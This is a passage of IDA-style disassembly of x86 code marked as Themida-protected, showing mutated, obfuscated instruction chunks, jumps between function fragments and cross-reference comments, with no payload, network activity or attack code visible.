loc_5970E9: ; CODE XREF: Themida_:0058C028j
not eax
xor eax, 33461978h
jnz loc_5954AD
add eax, 7A53A2CDh
mov esi, eax
pop eax
push edx
add al, 44h
loc_597101: ; CODE XREF: Themida_:0058A3A4j
pop esp
movsx ecx, al
jmp loc_58AB39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_59710A: ; CODE XREF: sub_594654-265Cj
mov ebp, 0E7655502h
xor ecx, ebp
jmp loc_58F4AC
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_597116: ; CODE XREF: sub_595258+1j
mov ebp, 9061188h
shr ebp, 1
push ebp
jmp loc_58DFC2
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_597123: ; CODE XREF: Themida_:00596A5Fj
mov eax, edx
pop edx
jmp loc_597B57
; ---------------------------------------------------------------------------
loc_59712B: ; CODE XREF: Themida_:00595B0Fj
add eax, edx
jmp loc_592777
; ---------------------------------------------------------------------------
loc_597132: ; CODE XREF: Themida_:0058FC6Dj
push esi
mov esi, 0B0104A7h
push esi
xor dword ptr [esp], 1ED154E1h
pop ebp
xor ebp, 1ED154E1h
mov esi, [esp]
add esp, 4
xor ebp, eax
pop eax
mov edx, ebp
jmp loc_595CFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_59715A: ; CODE XREF: sub_591059+4D60j
push esi
mov esi, 1379189Ch
push ecx
jmp loc_597091
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_597166: ; CODE XREF: sub_595E21-181Ej
pop ebx
jmp loc_58EBDE
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_59716C: ; CODE XREF: sub_592857-6ECAj
mov eax, edx
mov edx, [esp+4+var_4]
jmp loc_592427
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
loc_597176: ; CODE XREF: Themida_:00596DDBj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push ebx
jmp loc_58B744
; ---------------------------------------------------------------------------
loc_597185: ; CODE XREF: Themida_:005970E4j
push 2588h
mov [esp], ecx
push esp
pop ecx
push ebx
mov ebx, 4BF47C81h
add ebx, 5F8601D1h
jmp loc_595AFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_5971A0: ; CODE XREF: sub_595258-8562j
xor [esp+14h+var_14], ebx
xor ebx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
push 4CDDh
mov [esp+4+var_4], edx
sub esp, 4
jmp loc_58E3DD
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5971BC: ; CODE XREF: sub_58C17E+A616j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5971C1: ; CODE XREF: Themida_:0058B873j
pop edi
shr esi, 5
jmp loc_58DD46
; ---------------------------------------------------------------------------
loc_5971CA: ; CODE XREF: Themida_:0058BCFAj
ror byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_5971D3: ; CODE XREF: Themida_:00590FB6j
jmp loc_5976EB
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
sub esp, 4
mov [esp], eax
mov ah, 0EBh
shl ah, 3
dec ah
shr ah, 2
sub ah, 1Eh
jmp loc_58F636
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5971F4: ; CODE XREF: sub_58F5B5+1EBj
add esp, 2
sub bl, 35h
sub bl, al
add bl, 35h
push ecx
mov cl, 83h
shr cl, 2
not cl
jmp loc_596445
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59720F: ; CODE XREF: Themida_:00593D12j
mov ebx, 7061762Dh
mov ebp, ebx
mov ebx, [esp]
add esp, 4
or ebp, 63C718D9h
shl ebp, 1
jmp loc_58FD09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59722C: ; CODE XREF: sub_5EC2E8-59925j
; Themida_:005972FEj
mov esp, [esp+28h+var_28]
push esi
mov esi, 442000D6h
jmp loc_58DA5E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_59723A: ; CODE XREF: Themida_:0059142Dj
push 52984655h
pop eax
dec eax
xor eax, 0C4C7497h
jnp loc_59078F
push esi
mov esi, 42161691h
and esi, 4C635499h
shr esi, 1
jmp loc_5944A7
; ---------------------------------------------------------------------------
loc_59725F: ; CODE XREF: Themida_:0058C9E4j
; Themida_:00590840j
pop ebx
push edx
mov edx, 4
add ebx, edx
jmp loc_58DCFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_59726D: ; CODE XREF: sub_5EC2E8-58E1Cj
add edx, 0FE089FAAh
jmp loc_594DA9
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_597288: ; CODE XREF: Themida_:0058A40Aj
pop esi
add eax, ebp
pop ebp
jmp loc_597AF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597291: ; CODE XREF: sub_58C17E+765Dj
push cx
pushf
jmp loc_58EE52
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_597299: ; CODE XREF: sub_590467-404Fj
add esp, 4
jmp loc_58BB9C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_5972A4: ; CODE XREF: sub_5966C1-819Cj
add eax, edi
sub eax, 157A4D65h
mov edi, [esp+4+var_4]
add esp, 4
xchg eax, [esp+0]
mov esp, [esp+0]
jmp loc_58AFEA
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E0C4
loc_5972BC: ; CODE XREF: sub_58E0C4+2j
pop ebx
add ebx, 4
add ebx, 4
jmp loc_59000C
; END OF FUNCTION CHUNK FOR sub_58E0C4
; ---------------------------------------------------------------------------
loc_5972CE: ; CODE XREF: Themida_:00594AD4j
add bl, cl
mov cx, [esp]
push esi
push esp
jmp loc_596A87
; ---------------------------------------------------------------------------
loc_5972DB: ; CODE XREF: Themida_:0058E30Fj
mov edx, 4D782BD5h
xor esi, edx
jmp loc_58BD46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5972E7: ; CODE XREF: sub_5916C4+3588j
add edx, 2DAA71E6h
xor edx, 7F1F01DCh
ja loc_58B3F0
jmp loc_591709
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
jmp loc_59722C
; ---------------------------------------------------------------------------
xchg esi, ebp
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_597305: ; CODE XREF: Themida_:0058E78Aj
; sub_5966C1+Fj
push esp
pop eax
add eax, 4
push edi
mov edi, 2
push edx
mov edx, 12C013DCh
xor edx, 3D2C239Bh
dec edx
jmp loc_5956A6
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
loc_597324: ; CODE XREF: Themida_:0059499Bj
pop dword ptr [esp]
pop esp
xor bl, al
movzx eax, al
mov dx, [esp]
push ecx
sub esp, 4
push esp
jmp loc_58AE07
; ---------------------------------------------------------------------------
loc_59733B: ; CODE XREF: Themida_:005968E8j
xor dh, 4Ch
mov bh, dh
pop edx
neg bh
shr bh, 1
jmp loc_594452
; ---------------------------------------------------------------------------
loc_59734A: ; CODE XREF: Themida_:0058E2EDj
push esi
mov esi, esp
add esi, 4
push 2079h
mov [esp], edx
mov edx, 4
sub esi, 5397FE8h
add esi, 9A24B9Eh
add esi, edx
sub esi, 9A24B9Eh
add esi, 5397FE8h
mov edx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
jmp loc_58ED43
; ---------------------------------------------------------------------------
loc_59738C: ; CODE XREF: Themida_:0058E183j
shr ch, 8
neg ch
jmp loc_58A60A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_597396: ; CODE XREF: sub_58F5B5+75D1j
mov edi, esi
mov ebx, edi
pop edi
mov edx, ebx
pop ebx
mov esi, [esp+8+var_8]
add esp, 4
jmp loc_58A338
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5973A9: ; CODE XREF: sub_5916CB-4F98j
; Themida_:00591A38j
pop edx
xor eax, 1D58DE0Ch
mov edi, eax
mov eax, [esp+8+var_8]
jmp loc_58B0B8
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_5973B9: ; CODE XREF: Themida_:00595D5Dj
add edi, ecx
sub edi, 4E9335EAh
jmp loc_58B6CC
; ---------------------------------------------------------------------------
loc_5973C6: ; CODE XREF: Themida_:0058D7C3j
pop edx
and ebp, 7BCE6C05h
jmp loc_59485D
; ---------------------------------------------------------------------------
loc_5973D2: ; CODE XREF: Themida_:005977A2j
pop ecx
push 4435h
mov [esp], ebp
jmp loc_593A52
; ---------------------------------------------------------------------------
loc_5973E0: ; CODE XREF: Themida_:00595B2Aj
push dword ptr [esp+4]
jmp loc_59499A
; ---------------------------------------------------------------------------
loc_5973E9: ; CODE XREF: Themida_:00595B37j
mov ebx, [esp]
jmp loc_58B904
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_5973F1: ; CODE XREF: sub_5919E2-42DFj
mov ebp, 127F78FEh
sub ebp, 73971DA8h
sub ebp, 787174E7h
add ebp, 0E391458Ch
add eax, ebp
mov ebp, [esp-4+arg_0]
add esp, 4
mov ecx, eax
pop eax
push edi
mov edi, 4D811A70h
jmp loc_58A4AE
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_597421: ; CODE XREF: Themida_:00596E35j
pop esi
push 538h
mov [esp], esi
mov esi, esp
jmp loc_591BE6
; ---------------------------------------------------------------------------
loc_597431: ; CODE XREF: Themida_:00594032j
add esp, 4
add edi, 4
jmp loc_590D01
; ---------------------------------------------------------------------------
loc_597442: ; CODE XREF: Themida_:00596E83j
add esp, 4
xor ebp, esi
xor esi, ebp
xor ebp, esi
xor ebp, 670FBF8Ah
xor eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_593755
; ---------------------------------------------------------------------------
loc_597467: ; CODE XREF: Themida_:0058E776j
ja loc_592DD7
jmp loc_596F03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_597472: ; CODE XREF: sub_59762D-8B13j
sub bl, 0CCh
sub bl, 0EAh
jmp loc_5970B0
; END OF FUNCTION CHUNK FOR sub_59762D
; =============== S U B R O U T I N E =======================================
sub_59747D proc near ; CODE XREF: sub_5EC2E8-60594j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 8ED08B5h
add edi, edx
pop edx
pop esi
retn
sub_59747D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_597492: ; CODE XREF: sub_5938B9-5595j
xor eax, ebx
pop ebx
sub ebx, 1FD22391h
add ebx, 243A6B10h
add ebx, eax
sub ebx, 243A6B10h
push 0C4Ah
mov [esp+0], edx
mov edx, 798E09D8h
push 5E15h
jmp loc_58B398
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5955A6
loc_5974C0: ; CODE XREF: sub_590467+4FABj
; sub_5955A6+Bj
shr ah, 3
xchg bh, ah
neg bh
xchg bh, ah
not ah
neg ah
sub ah, 0EFh
mov dl, ah
pop eax
mov cl, dl
mov edx, [esp+4+var_4]
add esp, 4
push dx
mov dl, 0D8h
xor cl, dl
pop dx
sub al, 8Eh
add al, cl
push cx
mov ch, 8Eh
add al, ch
pop cx
pop ecx
sub esp, 4
mov [esp+0], ecx
mov cl, 0A4h
or cl, 5Dh
jmp loc_58AD69
; END OF FUNCTION CHUNK FOR sub_5955A6
; ---------------------------------------------------------------------------
loc_597506: ; CODE XREF: Themida_:00597F17j
push edx
mov edx, esp
jmp loc_592CCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59750E: ; CODE XREF: sub_5916C4+1D49j
pop edi
sub esp, 4
mov [esp+0], eax
mov eax, 7B427C6Fh
shl eax, 7
push eax
xchg eax, [esp+4+var_4]
xchg eax, esi
not esi
xchg eax, esi
xchg eax, [esp+4+var_4]
pop eax
or eax, 67A14A36h
or eax, 45414541h
shl eax, 5
push 7CFCh
mov [esp+4+var_4], ebx
mov ebx, 7EB65C9Bh
add eax, ebx
jmp loc_596EE8
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59754A: ; CODE XREF: Themida_:00594F72j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, 474E2E68h
jmp loc_590F3F
; ---------------------------------------------------------------------------
loc_597567: ; CODE XREF: Themida_:005954F8j
pop ebp
add esi, edx
pop edx
add esi, 4
push esi
jmp loc_5914F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B03F
loc_597577: ; CODE XREF: sub_58B03F+44EAj
mov [esp+8+var_8], ebx
jmp loc_5975C4
; END OF FUNCTION CHUNK FOR sub_58B03F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_59757F: ; CODE XREF: sub_595123-9232j
pop esp
push edx
jmp loc_5953CC
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_597586: ; CODE XREF: Themida_:005941C3j
mov ecx, 7E7E089Ch
and ebp, ecx
pop ecx
or ebp, 67555DFAh
push ebx
mov ebx, 0FFFFFFFFh
sub ebp, ebx
jmp loc_592B00
; ---------------------------------------------------------------------------
loc_5975A1: ; CODE XREF: Themida_:0058BB6Ej
xor ebx, 71482EB8h
jmp loc_590F8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5975AC: ; CODE XREF: sub_590467+65C3j
mov [esp+0Ah+var_A], edx
mov dh, 0D1h
sub bh, dh
jmp loc_59493C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5975B8: ; CODE XREF: Themida_:005902BAj
and ebp, 2A7A6E43h
inc ebp
jmp loc_590168
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5975C4: ; CODE XREF: sub_58F5B5-21F4j
; sub_58B03F+C53Bj
xor [esp-8+arg_4], 0A7079D3h
mov edx, [esp-8+arg_4]
add esp, 4
jmp loc_592FE8
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_5975D9: ; CODE XREF: Themida_:0058AEDCj
push edx
mov edx, 1D286027h
shr edx, 2
neg edx
push ecx
jmp loc_592F62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_5975EA: ; CODE XREF: sub_59524C-97ADj
pop esi
push eax
push [esp+arg_0]
pop eax
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
sub esp, 4
mov [esp+0], edx
push eax
mov eax, 80h
mov edx, eax
pop eax
and ecx, edx
mov edx, [esp+0]
jmp sub_58F836
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_597613: ; CODE XREF: sub_5EC2E8-586DFj
shr ebp, 6
sub ebp, 5C2350DCh
xor ebp, 0A4B4555Bh
add edx, ebp
pop ebp
add edx, 4
jmp loc_595C88
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; =============== S U B R O U T I N E =======================================
sub_59762D proc near ; CODE XREF: Themida_:0058C0C1j
; sub_595655-1CD4j
var_8 = dword ptr -8
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
; FUNCTION CHUNK AT 0058A777 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058AC17 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B845 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BA33 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C06F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C39D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C654 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C7ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CB26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CEDC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058CF15 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D8B7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DB8E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058DEAF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E450 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E6A9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058EB0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EC9E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F6A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F720 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F85F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB86 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FCCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FE14 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058FE55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005903AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590512 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005908BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005909F8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590C4B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00590EAE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005912E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591823 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591B3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005921E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059229D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005923D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059258A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592996 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592A3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594048 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594307 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594476 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594BDF SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00595079 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005950C1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005951F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595318 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954FD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595590 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595773 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005960A3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005961CB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005964B8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596BE6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005970B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597472 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005977A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059781D SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005979B7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597B29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D35 SIZE 00000010 BYTES
push ebx
push ecx
jmp loc_5960A3
sub_59762D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597634: ; CODE XREF: sub_58C17E+3491j
not ebp
neg ebp
xor ebp, 0C81805h
and eax, ebp
mov ebp, [esp+8+var_8]
jmp loc_596411
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_597648: ; CODE XREF: sub_5EC2E8-55E08j
add eax, edx
add eax, 29835A61h
pop edx
push edx
mov edx, 2
add eax, edx
pop edx
xor eax, [esp+20h+var_20]
xor [esp+20h+var_20], eax
xor eax, [esp+20h+var_20]
pop esp
jmp loc_592EFC
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_597668: ; CODE XREF: Themida_:0058EC4Cj
; Themida_:00593CD4j
push 4BAAh
mov [esp], ebx
mov bl, 3Bh
jmp loc_58A500
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_58EAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_59769A: ; CODE XREF: sub_5938B9-94DEj
pop ebp
xor esi, ebx
pop ebx
add ebp, esi
mov esi, [esp-8+arg_4]
jmp loc_592700
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_5976A8: ; CODE XREF: Themida_:0058DD06j
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], ebp
push eax
mov eax, 69EE26AEh
mov ebp, eax
pop eax
push ebx
mov ebx, 69EE2AAFh
sub ebp, ebx
mov ebx, [esp]
push ebp
jmp loc_593091
; ---------------------------------------------------------------------------
loc_5976CC: ; CODE XREF: Themida_:00597B1Dj
push ebp
mov ebp, 40A21628h
shl ebp, 3
neg ebp
dec ebp
shr ebp, 1
add ebp, 97C0C687h
push ecx
mov ecx, 26036929h
jmp loc_592A97
; ---------------------------------------------------------------------------
loc_5976EB: ; CODE XREF: Themida_:loc_5971D3j
add ecx, 704E02h
add ebp, ecx
pop ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58E943
; =============== S U B R O U T I N E =======================================
sub_597716 proc near ; CODE XREF: sub_58C17E-1425j
; sub_5EC2E8-5E87Cj
; FUNCTION CHUNK AT 0058A653 SIZE 0000000B BYTES
push ebp
mov ebp, 0BDD2D65h
push edx
mov edx, 7F5B4B7Ch
sub ebp, edx
pop edx
shl ebp, 3
inc ebp
jmp loc_58A653
sub_597716 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_59772E: ; CODE XREF: sub_58D236-2A93j
push 5538h
mov [esp+0], ecx
push 351h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop ecx
add ecx, 4
jmp loc_591BF4
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59774E: ; CODE XREF: sub_58C17E+602Ej
add edi, 0BA956216h
add ecx, edi
jmp loc_5955FB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59775B: ; CODE XREF: sub_58F5B5+D9j
mov edx, esp
jmp loc_58E40C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_597762: ; CODE XREF: Themida_:00596E29j
mov dh, ah
jmp loc_590EC8
; ---------------------------------------------------------------------------
loc_597769: ; CODE XREF: Themida_:0058D47Fj
; Themida_:00591DD7j
add eax, 58BF48F3h
jmp loc_58C9F7
; ---------------------------------------------------------------------------
loc_597773: ; CODE XREF: Themida_:0058EF4Dj
push eax
jmp loc_593DF8
; ---------------------------------------------------------------------------
loc_597779: ; CODE XREF: Themida_:0058CF10j
push 6F25334Eh
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58BC23
; ---------------------------------------------------------------------------
lodsd
jmp loc_590EEF
; ---------------------------------------------------------------------------
loc_597793: ; CODE XREF: Themida_:005922ECj
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_5973D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5977A7: ; CODE XREF: sub_59762D-B5B6j
push eax
jmp sub_5909B4
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5977AD: ; CODE XREF: Themida_:005965C8j
push edx
mov dl, 71h
mov bh, dl
mov edx, [esp]
jmp loc_594E0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_5977BA: ; CODE XREF: sub_594654-749Fj
pop ecx
add ebp, esi
pop esi
jmp loc_58A314
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5977C3: ; CODE XREF: sub_5916C4+16A6j
mov al, ch
mov dh, al
pop eax
pop cx
push 3725h
mov [esp-14h+arg_10], ecx
jmp loc_595431
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 4D97h
mov [esp], esi
push ebx
jmp loc_595CB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5977E9: ; CODE XREF: sub_58C17E+A21j
xor al, bl
pop ebx
push edx
jmp loc_58B499
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5977F2: ; CODE XREF: Themida_:loc_591C43j
sub esi, 5875546Eh
add esi, 4C5D6ABAh
xor esi, 0A0C09E4h
mov edi, esi
jmp loc_58E33F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59780B: ; CODE XREF: sub_590467+5377j
mov eax, 58E8317Dh
push ecx
mov ecx, 0FFFFFFFFh
sub eax, ecx
jmp loc_591B02
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_59781D: ; CODE XREF: Themida_:0058C0BBj
; sub_59762D-AE39j
jns loc_58AC17
shr al, 7
shr al, 3
jp loc_58DB8E
xor al, 0F6h
push ebx
loc_597832: ; CODE XREF: sub_59762D-2A1Cj
mov ebp, edx
pop edx
add ebp, 691A0145h
add ecx, ebp
pop ebp
add ecx, 2
jmp loc_58FE14
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_597849: ; CODE XREF: Themida_:0058C999j
sub esi, ecx
mov ecx, [esp]
add esp, 4
add esi, ecx
add esi, 1F5F5151h
pop ecx
push eax
push edx
jmp loc_58A368
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_597864: ; CODE XREF: sub_58C17E+2485j
shl bl, 6
add bl, 0FFh
neg bl
inc bl
push cx
mov ch, 70h
add ch, 11h
jge loc_58E514
dec ch
jo loc_593F18
or ch, 9Dh
push ebx
loc_597887: ; CODE XREF: Themida_:0058ABE4j
; Themida_:0058DC7Bj
inc ebx
jmp loc_597C65
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59788D: ; CODE XREF: sub_590467+16AAj
shr ebx, 8
dec ebx
sub ebx, 20D22126h
add eax, ebx
pop ebx
push eax
pop edx
pop eax
sub edx, 6296FF7h
add edx, 174149EFh
jmp loc_58E20E
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5978AE: ; CODE XREF: Themida_:0058AD7Aj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
mov ebp, 481F0D3Ch
shr ebp, 8
not ebp
neg ebp
add ebp, 0FFB7E0F6h
add eax, ebp
jmp loc_58B8FC
; ---------------------------------------------------------------------------
loc_5978D9: ; CODE XREF: Themida_:005944E0j
mov edi, esp
add edi, 4
push 7462h
mov [esp], ebp
mov ebp, esp
push ecx
mov ecx, 7DFE2404h
jmp loc_596616
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_5978F6: ; CODE XREF: sub_590B70-5BFAj
mov ebp, 33004E0h
sub ebx, ebp
pop ebp
and ebx, 43056AC2h
xor ebx, 219D6319h
jmp loc_58B146
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
loc_59790F: ; CODE XREF: Themida_:00590E36j
add ebx, 75F257F4h
mov ecx, ebx
